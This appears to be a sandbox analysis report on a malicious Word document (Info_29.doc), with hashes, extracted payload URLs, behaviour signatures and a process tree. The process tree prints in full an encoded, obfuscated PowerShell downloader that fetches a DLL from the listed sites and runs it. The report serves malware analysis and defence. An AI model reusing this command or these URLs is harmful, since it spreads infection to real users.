Overview
overview
10Static
static
80159.doc
windows7_x64
100159.doc
windows10_x64
1005504-122020.doc
windows7_x64
1005504-122020.doc
windows10_x64
102180_182_7373.doc
windows7_x64
102180_182_7373.doc
windows10_x64
1054909729_2...20.doc
windows7_x64
1054909729_2...20.doc
windows10_x64
1084813.doc
windows7_x64
1084813.doc
windows10_x64
10ARCHIVOFile.doc
windows7_x64
10ARCHIVOFile.doc
windows10_x64
10Archivo-12...53.doc
windows7_x64
10Archivo-12...53.doc
windows10_x64
10DAT_2020.doc
windows7_x64
10DAT_2020.doc
windows10_x64
10DAT_2112.doc
windows7_x64
10DAT_2112.doc
windows10_x64
1Documento-8-92514.doc
windows7_x64
10Documento-8-92514.doc
windows10_x64
10Info_29.doc
windows7_x64
10Info_29.doc
windows10_x64
10MENSAJE.doc
windows7_x64
10MENSAJE.doc
windows10_x64
10T184213_2020.doc
windows7_x64
10T184213_2020.doc
windows10_x64
10Analysis
-
max time kernel
137s -
max time network
132s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
09-03-2021 16:01
Static task
static1
Behavioral task
behavioral1
Sample
0159.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
0159.doc
Resource
win10v20201028
Behavioral task
behavioral3
Sample
05504-122020.doc
Resource
win7v20201028
Behavioral task
behavioral4
Sample
05504-122020.doc
Resource
win10v20201028
Behavioral task
behavioral5
Sample
2180_182_7373.doc
Resource
win7v20201028
Behavioral task
behavioral6
Sample
2180_182_7373.doc
Resource
win10v20201028
Behavioral task
behavioral7
Sample
54909729_21_122020.doc
Resource
win7v20201028
Behavioral task
behavioral8
Sample
54909729_21_122020.doc
Resource
win10v20201028
Behavioral task
behavioral9
Sample
84813.doc
Resource
win7v20201028
Behavioral task
behavioral10
Sample
84813.doc
Resource
win10v20201028
Behavioral task
behavioral11
Sample
ARCHIVOFile.doc
Resource
win7v20201028
Behavioral task
behavioral12
Sample
ARCHIVOFile.doc
Resource
win10v20201028
Behavioral task
behavioral13
Sample
Archivo-122020-481-4753.doc
Resource
win7v20201028
Behavioral task
behavioral14
Sample
Archivo-122020-481-4753.doc
Resource
win10v20201028
Behavioral task
behavioral15
Sample
DAT_2020.doc
Resource
win7v20201028
Behavioral task
behavioral16
Sample
DAT_2020.doc
Resource
win10v20201028
Behavioral task
behavioral17
Sample
DAT_2112.doc
Resource
win7v20201028
Behavioral task
behavioral18
Sample
DAT_2112.doc
Resource
win10v20201028
Behavioral task
behavioral19
Sample
Documento-8-92514.doc
Resource
win7v20201028
Behavioral task
behavioral20
Sample
Documento-8-92514.doc
Resource
win10v20201028
Behavioral task
behavioral21
Sample
Info_29.doc
Resource
win7v20201028
Behavioral task
behavioral22
Sample
Info_29.doc
Resource
win10v20201028
Behavioral task
behavioral23
Sample
MENSAJE.doc
Resource
win7v20201028
Behavioral task
behavioral24
Sample
MENSAJE.doc
Resource
win10v20201028
Behavioral task
behavioral25
Sample
T184213_2020.doc
Resource
win7v20201028
Behavioral task
behavioral26
Sample
T184213_2020.doc
Resource
win10v20201028
General
-
Target
Info_29.doc
-
Size
159KB
-
MD5
8ae1dced4aa0b93fb54784bbd0c0fc07
-
SHA1
02b3440f2f55ed04e48dd49ce824d8fbba2df694
-
SHA256
873805d1821aea66b16872720c8cda5fffaefc6ba69f9b05c074262d66b2edea
-
SHA512
b85ec2ee2cd39dde94ea170f753fc45e6f204e43d7af1ccb31b8b3421939b55f48ac1fa0f895392b0224e1ef8726ed71d351197261bfb20a4481fa1efd084cf6
Malware Config
Extracted
http://fmcav.com/images/7FV4Nd/
http://theprajinshee.com/otherfiles/wAFP/
http://www.removepctrojan.com/wp-admin/ak0chH/
http://www.geosrt.com/aqqhwdap/l0/
http://geoffoglemusic.com/wp-admin/7C11oAC/
http://www.achutamanasa.com/garmin-pro-fei8o/mW/
http://johnloveskim.com/a/Tff/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4040 4036 cmd.exe -
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exeflow pid process 15 3124 powershell.exe 17 3124 powershell.exe 24 3124 powershell.exe 41 3124 powershell.exe 43 3124 powershell.exe 45 3124 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4012 WINWORD.EXE 4012 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3124 powershell.exe 3124 powershell.exe 3124 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3124 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 4012 WINWORD.EXE 4012 WINWORD.EXE 4012 WINWORD.EXE 4012 WINWORD.EXE 4012 WINWORD.EXE 4012 WINWORD.EXE 4012 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
cmd.exedescription pid process target process PID 4040 wrote to memory of 3644 4040 cmd.exe msg.exe PID 4040 wrote to memory of 3644 4040 cmd.exe msg.exe PID 4040 wrote to memory of 3124 4040 cmd.exe powershell.exe PID 4040 wrote to memory of 3124 4040 cmd.exe powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Info_29.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4012
-
C:\Windows\system32\cmd.execmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUAbQAgAHYAYQBSAGkAYQBCAEwARQA6ADMAdgBDACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQAiACAALQBGACcAWQBTAHQAJwAsACcARQBtAC4ASQBvACcALAAnAEkAUgBFAGMAVABPACcALAAnAC4AZAAnACwAJwBSAHkAJwAsACcAUwAnACkAIAAgACkAOwAgACAAIABTAGUAVAAtAEkAVABFAG0AIAAgAFYAYQBSAGkAQQBCAGwARQA6ADUANAA5AGMAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADEAfQB7ADAAfQB7ADIAfQB7ADMAfQAiACAALQBGACAAJwAuACcALAAnAHkAcwB0AEUAbQAnACwAJwBOAEUAVAAuAFMARQByAHYAaQBjAGUAUABPAGkAbgAnACwAJwBUAG0AQQBuAEEAZwBFAFIAJwAsACcAUwAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGkAbgB1ACcAKQArACcAZQAnACkAOwAkAEEAOABoADIAcgB6AGIAPQAkAEYANgBfAEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEwAOQA4AFAAOwAkAE0AMAAwAE8APQAoACcAQwAnACsAKAAnADgAMgAnACsAJwBaACcAKQApADsAIAAkADMAVgBDADoAOgAiAGMAcgBlAGEAYABUAGAARQBgAEQAYABpAFIAZQBjAFQAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAFQAeQBWACcAKwAnAFgAdAAnACsAJwBzAF8AbgAnACkAKwAoACcAbQBmAFQAeQBWAFAANAAnACsAJwAxACcAKQArACcAOAA4ACcAKwAoACcAcQBrACcAKwAnAFQAJwApACsAJwB5AFYAJwApACAALQByAEUAcABsAGEAQwBFACAAIAAoACcAVAAnACsAJwB5AFYAJwApACwAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQwA0ADIATgA9ACgAKAAnAEMAJwArACcAMQAzACcAKQArACcARAAnACkAOwAgACAAKAAgAGwAUwAgACAAVgBBAFIAaQBBAGIATABlADoANQA0ADkAQwAgACkALgB2AGEATAB1AEUAOgA6ACIAcwBFAGMAVQBgAFIAYABpAFQAeQBwAFIAbwB0AGAAbwBgAGMATwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABEADcANwBZAD0AKAAnAFoAOAAnACsAJwBfAFYAJwApADsAJABXAHYANgB4AGIANQA3ACAAPQAgACgAKAAnAFUAOQAnACsAJwA1ACcAKQArACcARAAnACkAOwAkAEgAMAAxAFYAPQAoACgAJwBHADkAJwArACcANgAnACkAKwAnAEgAJwApADsAJABUAHoAbwA3AHQAdwBsAD0AJABIAE8ATQBFACsAKAAoACcASgBqACcAKwAnAFcAJwArACgAJwBYAHQAJwArACcAcwBfAG4AbQAnACsAJwBmAEoAagBXAFAANAAnACsAJwAxADgAJwApACsAJwA4ACcAKwAoACcAcQAnACsAJwBrAEoAJwApACsAJwBqACcAKwAnAFcAJwApAC0AYwBSAGUAUABsAGEAQwBFACAAKAAnAEoAagAnACsAJwBXACcAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABXAHYANgB4AGIANQA3ACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAWAA1ADYAUAA9ACgAJwBMACcAKwAoACcANgA3ACcAKwAnAFEAJwApACkAOwAkAFcAdABfADUAdwBrAGMAPQAoACcAXQBiACcAKwAoACcAMgBbAHMAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAGYAbQBjAGEAJwApACsAJwB2AC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBpAG0AYQAnACsAJwBnAGUAcwAnACkAKwAnAC8ANwAnACsAKAAnAEYAVgA0AE4AJwArACcAZAAnACsAJwAvAEAAXQBiADIAWwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAdABoAGUAcAByACcAKwAnAGEAJwApACsAKAAnAGoAaQAnACsAJwBuACcAKQArACgAJwBzAGgAJwArACcAZQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AbwB0ACcAKQArACgAJwBoACcAKwAnAGUAJwArACcAcgBmACcAKwAnAGkAbABlAHMAJwArACcALwB3AEEARgBQAC8AJwApACsAJwBAAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AcgBlAG0AbwB2ACcAKwAnAGUAcAAnACkAKwAoACcAYwB0AHIAJwArACcAbwAnACkAKwAnAGoAYQAnACsAKAAnAG4AJwArACcALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AJwArACcAYQBkAG0AJwApACsAJwBpAG4AJwArACcALwAnACsAKAAnAGEAawAnACsAJwAwACcAKQArACcAYwAnACsAJwBoACcAKwAoACcASAAnACsAJwAvAEAAJwArACcAXQBiADIAJwApACsAKAAnAFsAcwAnACsAJwA6ACcAKQArACgAJwAvAC8AdwAnACsAJwB3AHcALgAnACkAKwAnAGcAJwArACgAJwBlACcAKwAnAG8AcwByACcAKQArACcAdAAuACcAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAnAC8AYQBxAHEAJwArACcAaAAnACkAKwAoACcAdwAnACsAJwBkAGEAcAAnACkAKwAoACcALwBsACcAKwAnADAALwBAACcAKwAnAF0AYgAyAFsAcwA6ACcAKQArACcALwAvACcAKwAnAGcAZQAnACsAJwBvACcAKwAnAGYAJwArACcAZgAnACsAJwBvAGcAJwArACgAJwBsACcAKwAnAGUAbQB1AHMAaQAnACsAJwBjAC4AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AdwBwACcAKQArACgAJwAtACcAKwAnAGEAZAAnACkAKwAoACcAbQBpACcAKwAnAG4ALwAnACkAKwAoACcANwAnACsAJwBDADEAJwApACsAJwAxACcAKwAoACcAbwAnACsAJwBBAEMALwBAACcAKQArACgAJwBdAGIAJwArACcAMgBbAHMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACcAdwB3ACcAKwAoACcAdwAnACsAJwAuAGEAYwBoAHUAdABhACcAKwAnAG0AJwArACcAYQBuACcAKQArACcAYQBzACcAKwAoACcAYQAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwAvAGcAJwApACsAJwBhAHIAJwArACcAbQBpACcAKwAnAG4AJwArACcALQAnACsAKAAnAHAAJwArACcAcgBvAC0AZgAnACkAKwAoACcAZQAnACsAJwBpADgAbwAvACcAKQArACgAJwBtAFcAJwArACcALwAnACkAKwAoACcAQABdACcAKwAnAGIAJwApACsAJwAyACcAKwAnAFsAcwAnACsAKAAnADoALwAnACsAJwAvAGoAbwBoAG4AJwApACsAJwBsAG8AJwArACcAdgAnACsAKAAnAGUAcwAnACsAJwBrAGkAJwApACsAJwBtACcAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAGEALwAnACsAJwBUACcAKQArACgAJwBmACcAKwAnAGYALwAnACkAKQAuACIAcgBgAGUAcABgAGwAYQBjAEUAIgAoACgAKAAnAF0AYgAnACsAJwAyACcAKQArACcAWwBzACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAHMAcABMAGAASQB0ACIAKAAkAFgAMwBfAEEAIAArACAAJABBADgAaAAyAHIAegBiACAAKwAgACQASgA4ADQATgApADsAJABJAF8AXwBSAD0AKAAnAEYAXwAnACsAJwA1AE0AJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABOAHIAaQB0ADMAZABrACAAaQBuACAAJABXAHQAXwA1AHcAawBjACkAewB0AHIAeQB7ACgAJgAoACcATgBlAHcALQBPAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABTAHkAUwBUAEUATQAuAE4AZQBUAC4AdwBFAEIAYwBMAEkARQBOAHQAKQAuACIAZABPAFcAYABOAGAATABvAGEAZABGAGkATABFACIAKAAkAE4AcgBpAHQAMwBkAGsALAAgACQAVAB6AG8ANwB0AHcAbAApADsAJABKADIANABVAD0AKAAnAFAAJwArACgAJwAzACcAKwAnADUATQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABUAHoAbwA3AHQAdwBsACkALgAiAEwAYABlAG4AZwBUAEgAIgAgAC0AZwBlACAAMwAwADcANQA1ACkAIAB7AC4AKAAnAHIAdQBuACcAKwAnAGQAbABsADMAMgAnACkAIAAkAFQAegBvADcAdAB3AGwALAAoACcAQwBvACcAKwAoACcAbgB0AHIAbwBsAF8AJwArACcAUgB1ACcAKQArACgAJwBuAEQATAAnACsAJwBMACcAKQApAC4AIgB0AG8AYABTAFQAUgBpAE4AZwAiACgAKQA7ACQARgA5ADEAWQA9ACgAJwBYACcAKwAoACcAMQAnACsAJwAwAEcAJwApACkAOwBiAHIAZQBhAGsAOwAkAE0AXwAxAFcAPQAoACcASwAnACsAKAAnADkAJwArACcANQBEACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDADEAXwBTAD0AKAAoACcAWAAnACsAJwAzADUAJwApACsAJwBLACcAKQA=1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4040 -
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵PID:3644
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUAbQAgAHYAYQBSAGkAYQBCAEwARQA6ADMAdgBDACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQAiACAALQBGACcAWQBTAHQAJwAsACcARQBtAC4ASQBvACcALAAnAEkAUgBFAGMAVABPACcALAAnAC4AZAAnACwAJwBSAHkAJwAsACcAUwAnACkAIAAgACkAOwAgACAAIABTAGUAVAAtAEkAVABFAG0AIAAgAFYAYQBSAGkAQQBCAGwARQA6ADUANAA5AGMAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADEAfQB7ADAAfQB7ADIAfQB7ADMAfQAiACAALQBGACAAJwAuACcALAAnAHkAcwB0AEUAbQAnACwAJwBOAEUAVAAuAFMARQByAHYAaQBjAGUAUABPAGkAbgAnACwAJwBUAG0AQQBuAEEAZwBFAFIAJwAsACcAUwAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGkAbgB1ACcAKQArACcAZQAnACkAOwAkAEEAOABoADIAcgB6AGIAPQAkAEYANgBfAEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEwAOQA4AFAAOwAkAE0AMAAwAE8APQAoACcAQwAnACsAKAAnADgAMgAnACsAJwBaACcAKQApADsAIAAkADMAVgBDADoAOgAiAGMAcgBlAGEAYABUAGAARQBgAEQAYABpAFIAZQBjAFQAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAFQAeQBWACcAKwAnAFgAdAAnACsAJwBzAF8AbgAnACkAKwAoACcAbQBmAFQAeQBWAFAANAAnACsAJwAxACcAKQArACcAOAA4ACcAKwAoACcAcQBrACcAKwAnAFQAJwApACsAJwB5AFYAJwApACAALQByAEUAcABsAGEAQwBFACAAIAAoACcAVAAnACsAJwB5AFYAJwApACwAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQwA0ADIATgA9ACgAKAAnAEMAJwArACcAMQAzACcAKQArACcARAAnACkAOwAgACAAKAAgAGwAUwAgACAAVgBBAFIAaQBBAGIATABlADoANQA0ADkAQwAgACkALgB2AGEATAB1AEUAOgA6ACIAcwBFAGMAVQBgAFIAYABpAFQAeQBwAFIAbwB0AGAAbwBgAGMATwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABEADcANwBZAD0AKAAnAFoAOAAnACsAJwBfAFYAJwApADsAJABXAHYANgB4AGIANQA3ACAAPQAgACgAKAAnAFUAOQAnACsAJwA1ACcAKQArACcARAAnACkAOwAkAEgAMAAxAFYAPQAoACgAJwBHADkAJwArACcANgAnACkAKwAnAEgAJwApADsAJABUAHoAbwA3AHQAdwBsAD0AJABIAE8ATQBFACsAKAAoACcASgBqACcAKwAnAFcAJwArACgAJwBYAHQAJwArACcAcwBfAG4AbQAnACsAJwBmAEoAagBXAFAANAAnACsAJwAxADgAJwApACsAJwA4ACcAKwAoACcAcQAnACsAJwBrAEoAJwApACsAJwBqACcAKwAnAFcAJwApAC0AYwBSAGUAUABsAGEAQwBFACAAKAAnAEoAagAnACsAJwBXACcAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABXAHYANgB4AGIANQA3ACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAWAA1ADYAUAA9ACgAJwBMACcAKwAoACcANgA3ACcAKwAnAFEAJwApACkAOwAkAFcAdABfADUAdwBrAGMAPQAoACcAXQBiACcAKwAoACcAMgBbAHMAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAGYAbQBjAGEAJwApACsAJwB2AC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBpAG0AYQAnACsAJwBnAGUAcwAnACkAKwAnAC8ANwAnACsAKAAnAEYAVgA0AE4AJwArACcAZAAnACsAJwAvAEAAXQBiADIAWwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAdABoAGUAcAByACcAKwAnAGEAJwApACsAKAAnAGoAaQAnACsAJwBuACcAKQArACgAJwBzAGgAJwArACcAZQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AbwB0ACcAKQArACgAJwBoACcAKwAnAGUAJwArACcAcgBmACcAKwAnAGkAbABlAHMAJwArACcALwB3AEEARgBQAC8AJwApACsAJwBAAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AcgBlAG0AbwB2ACcAKwAnAGUAcAAnACkAKwAoACcAYwB0AHIAJwArACcAbwAnACkAKwAnAGoAYQAnACsAKAAnAG4AJwArACcALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AJwArACcAYQBkAG0AJwApACsAJwBpAG4AJwArACcALwAnACsAKAAnAGEAawAnACsAJwAwACcAKQArACcAYwAnACsAJwBoACcAKwAoACcASAAnACsAJwAvAEAAJwArACcAXQBiADIAJwApACsAKAAnAFsAcwAnACsAJwA6ACcAKQArACgAJwAvAC8AdwAnACsAJwB3AHcALgAnACkAKwAnAGcAJwArACgAJwBlACcAKwAnAG8AcwByACcAKQArACcAdAAuACcAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAnAC8AYQBxAHEAJwArACcAaAAnACkAKwAoACcAdwAnACsAJwBkAGEAcAAnACkAKwAoACcALwBsACcAKwAnADAALwBAACcAKwAnAF0AYgAyAFsAcwA6ACcAKQArACcALwAvACcAKwAnAGcAZQAnACsAJwBvACcAKwAnAGYAJwArACcAZgAnACsAJwBvAGcAJwArACgAJwBsACcAKwAnAGUAbQB1AHMAaQAnACsAJwBjAC4AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AdwBwACcAKQArACgAJwAtACcAKwAnAGEAZAAnACkAKwAoACcAbQBpACcAKwAnAG4ALwAnACkAKwAoACcANwAnACsAJwBDADEAJwApACsAJwAxACcAKwAoACcAbwAnACsAJwBBAEMALwBAACcAKQArACgAJwBdAGIAJwArACcAMgBbAHMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACcAdwB3ACcAKwAoACcAdwAnACsAJwAuAGEAYwBoAHUAdABhACcAKwAnAG0AJwArACcAYQBuACcAKQArACcAYQBzACcAKwAoACcAYQAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwAvAGcAJwApACsAJwBhAHIAJwArACcAbQBpACcAKwAnAG4AJwArACcALQAnACsAKAAnAHAAJwArACcAcgBvAC0AZgAnACkAKwAoACcAZQAnACsAJwBpADgAbwAvACcAKQArACgAJwBtAFcAJwArACcALwAnACkAKwAoACcAQABdACcAKwAnAGIAJwApACsAJwAyACcAKwAnAFsAcwAnACsAKAAnADoALwAnACsAJwAvAGoAbwBoAG4AJwApACsAJwBsAG8AJwArACcAdgAnACsAKAAnAGUAcwAnACsAJwBrAGkAJwApACsAJwBtACcAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAGEALwAnACsAJwBUACcAKQArACgAJwBmACcAKwAnAGYALwAnACkAKQAuACIAcgBgAGUAcABgAGwAYQBjAEUAIgAoACgAKAAnAF0AYgAnACsAJwAyACcAKQArACcAWwBzACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAHMAcABMAGAASQB0ACIAKAAkAFgAMwBfAEEAIAArACAAJABBADgAaAAyAHIAegBiACAAKwAgACQASgA4ADQATgApADsAJABJAF8AXwBSAD0AKAAnAEYAXwAnACsAJwA1AE0AJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABOAHIAaQB0ADMAZABrACAAaQBuACAAJABXAHQAXwA1AHcAawBjACkAewB0AHIAeQB7ACgAJgAoACcATgBlAHcALQBPAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABTAHkAUwBUAEUATQAuAE4AZQBUAC4AdwBFAEIAYwBMAEkARQBOAHQAKQAuACIAZABPAFcAYABOAGAATABvAGEAZABGAGkATABFACIAKAAkAE4AcgBpAHQAMwBkAGsALAAgACQAVAB6AG8ANwB0AHcAbAApADsAJABKADIANABVAD0AKAAnAFAAJwArACgAJwAzACcAKwAnADUATQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABUAHoAbwA3AHQAdwBsACkALgAiAEwAYABlAG4AZwBUAEgAIgAgAC0AZwBlACAAMwAwADcANQA1ACkAIAB7AC4AKAAnAHIAdQBuACcAKwAnAGQAbABsADMAMgAnACkAIAAkAFQAegBvADcAdAB3AGwALAAoACcAQwBvACcAKwAoACcAbgB0AHIAbwBsAF8AJwArACcAUgB1ACcAKQArACgAJwBuAEQATAAnACsAJwBMACcAKQApAC4AIgB0AG8AYABTAFQAUgBpAE4AZwAiACgAKQA7ACQARgA5ADEAWQA9ACgAJwBYACcAKwAoACcAMQAnACsAJwAwAEcAJwApACkAOwBiAHIAZQBhAGsAOwAkAE0AXwAxAFcAPQAoACcASwAnACsAKAAnADkAJwArACcANQBEACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDADEAXwBTAD0AKAAoACcAWAAnACsAJwAzADUAJwApACsAJwBLACcAKQA=2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3124